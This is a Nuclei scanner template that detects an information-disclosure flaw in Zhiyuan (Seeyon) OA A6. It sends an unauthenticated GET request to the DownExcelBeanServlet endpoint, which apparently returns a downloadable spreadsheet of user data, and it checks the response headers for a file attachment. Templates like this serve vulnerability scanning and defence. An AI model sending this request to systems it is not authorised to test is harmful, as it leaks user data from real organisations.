id: zhiyuan-oa-info-leak

info:
  name: Zhiyuan Oa A6-s info Leak
  author: pikpikcu
  severity: info
  reference:
    - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3351.md
  metadata:
    max-request: 1
  tags: zhiyuan,leak,disclosure,seeyon

http:
  - method: GET
    path:
      - "{{BaseURL}}/yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "attachment"
          - "application/x-msdownload"
        part: header
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450220114f853c25154cddd8956cf286fc2f3edbd372d50536902b0bef5afa8485071b022100e7649750f09d3506298c49c9f081e1477df1be0a2b3faa92fb629af9a0f2c6a6:922c64590222798bb761d5b6d8e72950